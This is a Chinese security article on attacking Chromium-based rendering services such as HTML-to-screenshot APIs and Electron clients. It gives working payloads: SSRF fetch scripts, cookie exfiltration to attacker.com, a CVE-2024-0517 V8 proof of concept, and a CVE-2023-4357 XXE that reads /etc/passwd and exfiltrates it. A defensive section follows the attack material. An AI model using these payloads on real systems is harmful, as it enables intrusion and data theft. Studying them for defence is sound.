浅谈不同场景下的Chrome内核浏览器在攻防中的应用
字数 1325 2025-08-29 08:30:06
Chrome内核浏览器在攻防中的应用深度解析
一、Chrome内核应用场景概述
Chrome内核(Chromium)因其高性能和跨平台特性,被广泛应用于多种业务场景:
- 网页截图服务:将HTML内容渲染为图片
- 客户端内置浏览器:如钉钉、微信等应用内置浏览器
- Electron应用:VS Code、Slack等桌面应用
- 自动化测试工具:Playwright、Puppeteer等
- 网页转PDF/图片服务
二、典型漏洞场景分析
场景一:HTML转图片服务漏洞
常见实现方式
from fastapi import FastAPI
from playwright.async_api import async_playwright
app = FastAPI()
BROWSER = None
@app.on_event("startup")
async def startup_event():
global BROWSER
playwright = await async_playwright().start()
BROWSER = await playwright.chromium.launch(
args=['--disable-gpu', '--no-sandbox', '--disable-dev-shm-usage']
)
@app.post("/generate-poster")
async def generate_poster(html_content: str):
context = await BROWSER.new_context(java_script_enabled=True)
page = await context.new_page()
await page.set_content(html_content)
screenshot = await page.screenshot(type="jpeg")
return screenshot
攻击面分析
-
XSS转SSRF
- 通过注入JavaScript脚本实现内网探测
- 示例Payload:
{ "html_str": "<script>(async()=>{const r=await fetch('http://192.168.1.1');document.body.innerHTML=await r.text();})();</script>" }
-
协议滥用
file://协议读取本地文件javascript:伪协议绕过限制javascript://www.baidu.com/%250Aalert(1);/
-
Meta标签跳转
<meta http-equiv="refresh" content="0; url=http://192.168.1.1/" /> -
域名校验绕过技巧
- 泛解析绕过:
https://www.work.com.attacker.com - 反斜杠特性:
https://attacker.com\.www.work.com
- 泛解析绕过:
场景二:部分可控HTML渲染
当只能控制部分内容(如头像、介绍等)时:
-
探测技巧
<h1>test</h1>测试HTML注入- ``测试JS执行
-
无回显SSRF
-
带外数据回传
fetch('http://attacker.com/?data='+btoa(document.cookie))
三、Chrome内核漏洞利用
1. 版本信息收集
方法一:User-Agent探测
<script>document.write(navigator.userAgent);</script>
方法二:通过API日志查看
2. 经典RCE漏洞利用
CVE-2020-6507 (Chrome <83.0.4103.106)
- 漏洞类型:V8 Turbofan编译器优化错误导致越界写入
- 利用条件:需配合沙箱逃逸
- 关键点:
- 构造超长数组(>67108862)
- 误导编译器移除边界检查
- 篡改相邻数组长度实现内存破坏
CVE-2024-0517 (Chrome <120.0.6099.224)
- 漏洞类型:继承类构造函数中的堆破坏
- POC:
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
3. XXE漏洞利用(CVE-2023-4357)
影响版本:Chrome <116.0.5845.96
直接SVG利用
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div>&passwd;</div>
</body>
</xsl:template>
</xsl:stylesheet>
带外数据外传
<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfiltrate;
HTML嵌套利用技巧
{
"content": "<object type='image/svg+xml' data='data:image/svg+xml;base64,[BASE64_PAYLOAD]'>",
"width": 500,
"height": 1000
}
四、防御建议
-
输入验证
- 严格限制HTML内容大小(如<1MB)
- 禁用危险标签(
script,meta,object等) - 使用白名单过滤HTML标签和属性
-
浏览器配置
context = await BROWSER.new_context( java_script_enabled=False, # 禁用JS bypass_csp=False, ignore_https_errors=False ) -
安全策略
- 启用沙箱模式(
--no-sandbox应避免使用) - 设置严格CSP策略
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none'">
- 启用沙箱模式(
-
网络限制
- 禁止访问内网IP段
- 限制允许的协议(禁用file://, javascript:等)
-
更新维护
- 定期更新Chromium内核版本
- 监控CVE公告并及时修补
五、实战技巧总结
- 迂回探测:当直接注入被过滤时,尝试通过合法功能间接引入恶意代码
- 协议探测:测试file://, ftp://, javascript:等协议是否可用
- 错误利用:通过触发错误信息泄露获取敏感数据
- 组合利用:将XSS与SSRF结合,突破网络限制
- 客户端定位:重点测试Electron应用、客户端内置浏览器等更新不及时的场景
通过深入理解Chrome内核在各种场景中的应用方式及其安全特性,攻击者可以发掘更多攻击面,防御者也能更有针对性地构建防护措施。